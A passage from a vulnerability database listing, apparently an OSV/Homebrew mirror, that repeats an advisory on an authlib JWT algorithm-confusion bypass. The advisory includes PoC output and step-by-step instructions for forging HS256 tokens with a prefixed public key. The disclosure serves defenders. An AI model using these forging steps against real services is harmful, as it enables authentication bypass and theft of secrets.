KEY` PEM\n\n A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric\n verification through this path, so I exclude it as a non-deployable configuration and mention it\n only as further evidence of the recogniser/loader gap.\n\n## Details\n\n`authlib/jose/rfc7518/oct_key.py:10-17`\n\n```python\nPOSSIBLE_UNSAFE_KEYS = (\n b\"-----BEGIN \",\n b\"---- BEGIN \",\n b\"ssh-rsa \",\n b\"ssh-dss \",\n b\"ssh-ed25519 \",\n b\"ecdsa-sha2-\",\n)\n```\n\n`authlib/jose/rfc7518/oct_key.py:78-84`\n\n```python\nraw_key = to_bytes(raw)\n\n# security check\nif raw_key.startswith(POSSIBLE_UNSAFE_KEYS):\n raise ValueError(\"This key may not be safe to import\")\n\nkey = cls(raw_key=raw_key, options=options)\n```\n\n`bytes.startswith` is anchored. The loader on the asymmetric path is not:\n`authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` /\n`load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte\nstrings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference\nis exploitable.\n\nReach, for a caller of the documented object:\n\n* `authlib/jose/rfc7518/jws_algs.py:59` \u2014 `HMACAlgorithm.prepare_key(raw_data)` returns\n `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling.\n* `authlib/jose/rfc7519/jwt.py:80` \u2014 `JsonWebToken.decode(self, s, key, claims_cls=None,\n claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked\n only against the instance\u0027s list.\n* `authlib/jose/__init__.py:55-72` \u2014 that list contains both HS\\* and RS\\*/ES\\*/PS\\*/EdDSA.\n\nSo `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC\nsecret, and it is bypassed by a single leading byte.\n\n## PoC\n\n`poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented\n`jwt.decode(token, PUBLIC_KEY)`, where `PUBLIC_KEY` is the issuer\u0027s RSA public key embedded as a\ntriple-quoted Python literal (hence one leading newline). The attacker is given **only** that public\nkey.\n\n```\nauthlib=1.8.0 cryptography=50.0.2 flask=3.1.3\nguard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)\ncall = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]\nalgs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])\n\n[baseline 1] genuine RS256 token, role=user -\u003e (403, \u0027{\"error\":\"not admin\",\"sub\":\"alice\"}\u0027)\n[baseline 2] genuine RS256 token, role=admin -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"root\"}\u0027)\n[CONTROL 1 ] payload tampered, RS256 sig kept -\u003e (401, \u0027{\"error\":\"BadSignatureError: bad_signature: \"}\u0027)\n[CONTROL 2 ] HS256 forged with CANONICAL pubkey -\u003e BLOCKED at key import: ValueError: This key may not be safe to import\n[CONTROL 3 ] JsonWebToken([\u0027RS256\u0027]) vs forged token -\u003e REJECTED: UnsupportedAlgorithmError\n\nATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.\nforged token header: {\u0027alg\u0027: \u0027HS256\u0027, \u0027typ\u0027: \u0027JWT\u0027}\n[ATTACK ] HS256 forged with the PUBLIC key -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"attacker\"}\u0027)\n```\n\nThe three controls establish that the guard does work on a canonical PEM (so the leading byte is\nload-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an\neffective mitigation.\n\nPer-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds\non the exact same bytes:\n\n```\n### RSA-2048/RS256\n canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError\n indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin\n [CONTROL C] JsonWebToken([\u0027RS256\u0027]).decode(forged HS256) -\u003e REJECTED:UnsupportedAlgorithmError\n\n### EC-P256/ES256\n identical results for all seven rows\n\nSame five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.\n```\n\n### Steps to reproduce\n\n1. `pip install authlib==1.8.0 cryptography flask requests`\n2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline\n (or indent it, or prepend a BOM or a comment line).\n3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with\n `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them.\n4. `from authlib.jose import jwt` then\n `tok = jwt.encode({\"alg\":\"HS256\"}, {\"sub\":\"attacker\",\"role\":\"admin\"}, mutated_pem)`\n5. `jwt.decode(tok, mutated_pem)` \u2014 verification succeeds and the claims are returned.\n\n## Impact\n\nCryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm\nconfusion). An unauthenticated attacker who knows only the issuer\u0027s public verification key \u2014 public by\ndefinition, normally served at `/.well-known/jwks.json` or in IdP metadata \u2014 forges tokens with\narbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP\n200 and the application\u0027s admin secrets for `sub=attacker`.\n\nAuthlib had **103,356,930** PyPI downloads in the last month (pypistats `/api/packages/authlib/recent`,\nread 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented\nfootgun it backstops.\n\nTwo notes for triage, in the interest of completeness:\n\n* `authlib.jose` emits `AuthlibDeprecationWarning` (\"please use joserfc instead. It will be compatible\n before version 2.0.0\"). It is deprecated but still shipped, still documented in `docs/jose/jwt.rst`,\n and still carries the download volume above.\n* **joserfc is not affected by this mechanism.** 1.7.5 was checked: keys carry an explicit `kty` in the\n data model, so `jwt.decode` with an `RSAKey`/`ECKey` and `alg=HS256` raises `InvalidKeyTypeError` for\n every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what\n makes the class unrepresentable there.\n\n## Suggested remediation\n\nEither of these closes the class rather than one more byte form:\n\n1. Decide key family by **type, not by bytes**. Attempt `load_pem_public_key` /\n `load_pem_x509_certificate` / `load_ssh_public_key` / `load_der_public_key` on the candidate and\n reject it as an `oct` key if any of them succeeds. This is the approach that makes joserfc immune and\n it cannot drift out of step with the loader, because it *is* the loader.\n2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check\n (`any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)`) and add the `-----BEGIN CERTIFICATE-----` and\n DER `SubjectPublicKeyInfo` cases. This is strictly weaker than (1): the recogniser can drift again\n the next time `cryptography` becomes more tolerant.\n\nSeparately, and independent of this report: giving `JsonWebToken.decode` an `algorithms=` parameter\nwould let callers of the documented module-level object apply the mitigation the docs recommend without\nconstructing a second `JsonWebToken`.\n\n## Credit\n\nFound by zer0d4y5. Happy to test a patch branch before release.",
"id": "BREW-mcp-atlassian-CVE-2026-114615",
"modified": "2026-10-29T22:18:19Z",
"published": "2026-10-29T22:18:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114615"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys",
"upstream": [
"GHSA-7vr2-2fgp-9w7p",
"CVE-2026-114615"
]
}
BREW-MCPM-CVE-2026-114615 (GHSA-7VR2-2FGP-9W7P)
Vulnerability from osv_homebrew – Published: 2026-10-29 23:23 – Updated: 2026-10-29 23:23 – Source websiteSummary
OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an
HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at
byte 0 — while the loader that consumes the identical bytes on the asymmetric path
(cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate)
skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one
leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is
therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the
issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as
authentic.
This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly
this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single
commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the
original attack works again unchanged whenever the stored PEM does not start at offset 0.
Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main
(c529a61), with cryptography 50.0.2.
Preconditions
Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.
- The relying party uses the documented module-level
jwtobject.from authlib.jose import jwtis built atauthlib/jose/__init__.py:55-72with the full list["HS256","HS384","HS512","RS256",...,"EdDSA"], andJsonWebToken.decode(authlib/jose/rfc7519/jwt.py:80) exposes noalgorithmsparameter, so a caller of the documented object has no way to narrow it. This is the first code sample indocs/jose/jwt.rst:21-31.
This hazard is already documented: docs/jose/jwt.rst:73-79 says
"This decoding method is insecure. By default jwt.decode parses the alg header. This allows
symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never
combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is
not that the mixed list exists — it is that the oct_key.py:81 backstop shipped for precisely
that documented hazard does not hold.
- The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with
-----BEGIN. Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: - one leading newline — what a triple-quoted Python literal produces
- one leading space
- four-space indentation — an indented YAML/JSON/TOML config block
- a UTF-8 BOM — a Windows-editor artifact
- a leading comment line
- all of the above applied to an X.509
CERTIFICATEPEM instead of aPUBLIC KEYPEM
A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.
Details
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)
bytes.startswith is anchored. The loader on the asymmetric path is not:
authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key /
load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte
strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference
is exploitable.
Reach, for a caller of the documented object:
authlib/jose/rfc7518/jws_algs.py:59—HMACAlgorithm.prepare_key(raw_data)returnsOctKey.import_key(raw_data); this is the whole of the HMAC key handling.authlib/jose/rfc7519/jwt.py:80—JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked only against the instance's list.authlib/jose/__init__.py:55-72— that list contains both HS* and RS*/ES*/PS*/EdDSA.
So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC
secret, and it is bypassed by a single leading byte.
PoC
poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented
jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a
triple-quoted Python literal (hence one leading newline). The attacker is given only that public
key.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.
Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
Steps to reproduce
pip install authlib==1.8.0 cryptography flask requests- Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line).
- Confirm
authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYSdoes not match those bytes withstartswith, whilecryptography.hazmat.primitives.serialization.load_pem_public_keyloads them. from authlib.jose import jwtthentok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem)— verification succeeds and the claims are returned.
Impact
Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm
confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by
definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with
arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP
200 and the application's admin secrets for sub=attacker.
Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent,
read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented
footgun it backstops.
Two notes for triage, in the interest of completeness:
authlib.joseemitsAuthlibDeprecationWarning("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented indocs/jose/jwt.rst, and still carries the download volume above.- joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit
ktyin the data model, sojwt.decodewith anRSAKey/ECKeyandalg=HS256raisesInvalidKeyTypeErrorfor every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there.
Suggested remediation
Either of these closes the class rather than one more byte form:
- Decide key family by type, not by bytes. Attempt
load_pem_public_key/load_pem_x509_certificate/load_ssh_public_key/load_der_public_keyon the candidate and reject it as anoctkey if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it is the loader. - If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check
(
any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the-----BEGIN CERTIFICATE-----and DERSubjectPublicKeyInfocases. This is strictly weaker than (1): the recogniser can drift again the next timecryptographybecomes more tolerant.
Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter
would let callers of the documented module-level object apply the mitigation the docs recommend without
constructing a second JsonWebToken.
Credit
Found by zer0d4y5. Happy to test a patch branch before release.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "authlib",
"resource_purl": "pkg:pypi/authlib@1.9.1",
"upstream_fixed_in": "1.9.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "mcpm",
"purl": "pkg:brew/mcpm"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.15.0_5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/authlib@1.9.1",
"name": "authlib",
"resource": "authlib",
"strategy": "registry",
"subject_version": "1.9.1"
}
]
},
"details": "## Summary\n\n`OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an\nHMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` \u2014 anchored at\nbyte 0 \u2014 while the loader that consumes the identical bytes on the asymmetric path\n(`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`)\nskips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one\nleading byte** \u2014 a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line \u2014 is\ntherefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the\nissuer\u0027s public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as\nauthentic.\n\nThis is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory\u0027s fix is exactly\nthis guard (`git log -S \u0027POSSIBLE_UNSAFE_KEYS\u0027 -- authlib/jose/rfc7518/oct_key.py` returns a single\ncommit, `3bea812` \"fix: prevent OctKey to import ssh/rsa/pem keys\", referencing issue #654), and the\noriginal attack works again unchanged whenever the stored PEM does not start at offset 0.\n\nReproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main`\n(`c529a61`), with `cryptography` 50.0.2.\n\n## Preconditions\n\nBoth are deployment properties; neither is attacker-controlled at request time, and the attacker needs\nno secret and no user interaction.\n\n1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt`\n is built at `authlib/jose/__init__.py:55-72` with the full list\n `[\"HS256\",\"HS384\",\"HS512\",\"RS256\",...,\"EdDSA\"]`, and `JsonWebToken.decode`\n (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the\n documented object has no way to narrow it. This is the first code sample in\n `docs/jose/jwt.rst:21-31`.\n\n This hazard is already documented: `docs/jose/jwt.rst:73-79` says\n \"This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows\n symmetric macs and asymmetric signatures.\", and `docs/jose/jwt.rst:94-98` says \"You should never\n combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes.\" The point of this report is\n **not** that the mixed list exists \u2014 it is that the `oct_key.py:81` backstop shipped for precisely\n that documented hazard does not hold.\n\n2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with\n `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a\n genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:\n * one leading newline \u2014 what a triple-quoted Python literal produces\n * one leading space\n * four-space indentation \u2014 an indented YAML/JSON/TOML config block\n * a UTF-8 BOM \u2014 a Windows-editor artifact\n * a leading comment line\n * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC KEY` PEM\n\n A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric\n verification through this path, so I exclude it as a non-deployable configuration and mention it\n only as further evidence of the recogniser/loader gap.\n\n## Details\n\n`authlib/jose/rfc7518/oct_key.py:10-17`\n\n```python\nPOSSIBLE_UNSAFE_KEYS = (\n b\"-----BEGIN \",\n b\"---- BEGIN \",\n b\"ssh-rsa \",\n b\"ssh-dss \",\n b\"ssh-ed25519 \",\n b\"ecdsa-sha2-\",\n)\n```\n\n`authlib/jose/rfc7518/oct_key.py:78-84`\n\n```python\nraw_key = to_bytes(raw)\n\n# security check\nif raw_key.startswith(POSSIBLE_UNSAFE_KEYS):\n raise ValueError(\"This key may not be safe to import\")\n\nkey = cls(raw_key=raw_key, options=options)\n```\n\n`bytes.startswith` is anchored. The loader on the asymmetric path is not:\n`authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` /\n`load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte\nstrings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference\nis exploitable.\n\nReach, for a caller of the documented object:\n\n* `authlib/jose/rfc7518/jws_algs.py:59` \u2014 `HMACAlgorithm.prepare_key(raw_data)` returns\n `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling.\n* `authlib/jose/rfc7519/jwt.py:80` \u2014 `JsonWebToken.decode(self, s, key, claims_cls=None,\n claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked\n only against the instance\u0027s list.\n* `authlib/jose/__init__.py:55-72` \u2014 that list contains both HS\\* and RS\\*/ES\\*/PS\\*/EdDSA.\n\nSo `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC\nsecret, and it is bypassed by a single leading byte.\n\n## PoC\n\n`poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented\n`jwt.decode(token, PUBLIC_KEY)`, where `PUBLIC_KEY` is the issuer\u0027s RSA public key embedded as a\ntriple-quoted Python literal (hence one leading newline). The attacker is given **only** that public\nkey.\n\n```\nauthlib=1.8.0 cryptography=50.0.2 flask=3.1.3\nguard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)\ncall = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]\nalgs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])\n\n[baseline 1] genuine RS256 token, role=user -\u003e (403, \u0027{\"error\":\"not admin\",\"sub\":\"alice\"}\u0027)\n[baseline 2] genuine RS256 token, role=admin -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"root\"}\u0027)\n[CONTROL 1 ] payload tampered, RS256 sig kept -\u003e (401, \u0027{\"error\":\"BadSignatureError: bad_signature: \"}\u0027)\n[CONTROL 2 ] HS256 forged with CANONICAL pubkey -\u003e BLOCKED at key import: ValueError: This key may not be safe to import\n[CONTROL 3 ] JsonWebToken([\u0027RS256\u0027]) vs forged token -\u003e REJECTED: UnsupportedAlgorithmError\n\nATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.\nforged token header: {\u0027alg\u0027: \u0027HS256\u0027, \u0027typ\u0027: \u0027JWT\u0027}\n[ATTACK ] HS256 forged with the PUBLIC key -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"attacker\"}\u0027)\n```\n\nThe three controls establish that the guard does work on a canonical PEM (so the leading byte is\nload-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an\neffective mitigation.\n\nPer-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds\non the exact same bytes:\n\n```\n### RSA-2048/RS256\n canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError\n indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin\n [CONTROL C] JsonWebToken([\u0027RS256\u0027]).decode(forged HS256) -\u003e REJECTED:UnsupportedAlgorithmError\n\n### EC-P256/ES256\n identical results for all seven rows\n\nSame five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.\n```\n\n### Steps to reproduce\n\n1. `pip install authlib==1.8.0 cryptography flask requests`\n2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline\n (or indent it, or prepend a BOM or a comment line).\n3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with\n `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them.\n4. `from authlib.jose import jwt` then\n `tok = jwt.encode({\"alg\":\"HS256\"}, {\"sub\":\"attacker\",\"role\":\"admin\"}, mutated_pem)`\n5. `jwt.decode(tok, mutated_pem)` \u2014 verification succeeds and the claims are returned.\n\n## Impact\n\nCryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm\nconfusion). An unauthenticated attacker who knows only the issuer\u0027s public verification key \u2014 public by\ndefinition, normally served at `/.well-known/jwks.json` or in IdP metadata \u2014 forges tokens with\narbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP\n200 and the application\u0027s admin secrets for `sub=attacker`.\n\nAuthlib had **103,356,930** PyPI downloads in the last month (pypistats `/api/packages/authlib/recent`,\nread 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented\nfootgun it backstops.\n\nTwo notes for triage, in the interest of completeness:\n\n* `authlib.jose` emits `AuthlibDeprecationWarning` (\"please use joserfc instead. It will be compatible\n before version 2.0.0\"). It is deprecated but still shipped, still documented in `docs/jose/jwt.rst`,\n and still carries the download volume above.\n* **joserfc is not affected by this mechanism.** 1.7.5 was checked: keys carry an explicit `kty` in the\n data model, so `jwt.decode` with an `RSAKey`/`ECKey` and `alg=HS256` raises `InvalidKeyTypeError` for\n every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what\n makes the class unrepresentable there.\n\n## Suggested remediation\n\nEither of these closes the class rather than one more byte form:\n\n1. Decide key family by **type, not by bytes**. Attempt `load_pem_public_key` /\n `load_pem_x509_certificate` / `load_ssh_public_key` / `load_der_public_key` on the candidate and\n reject it as an `oct` key if any of them succeeds. This is the approach that makes joserfc immune and\n it cannot drift out of step with the loader, because it *is* the loader.\n2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check\n (`any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)`) and add the `-----BEGIN CERTIFICATE-----` and\n DER `SubjectPublicKeyInfo` cases. This is strictly weaker than (1): the recogniser can drift again\n the next time `cryptography` becomes more tolerant.\n\nSeparately, and independent of this report: giving `JsonWebToken.decode` an `algorithms=` parameter\nwould let callers of the documented module-level object apply the mitigation the docs recommend without\nconstructing a second `JsonWebToken`.\n\n## Credit\n\nFound by zer0d4y5. Happy to test a patch branch before release.",
"id": "BREW-mcpm-CVE-2026-114615",
"modified": "2026-10-29T23:23:34Z",
"published": "2026-10-29T23:23:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114615"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys",
"upstream": [
"GHSA-7vr2-2fgp-9w7p",
"CVE-2026-114615"
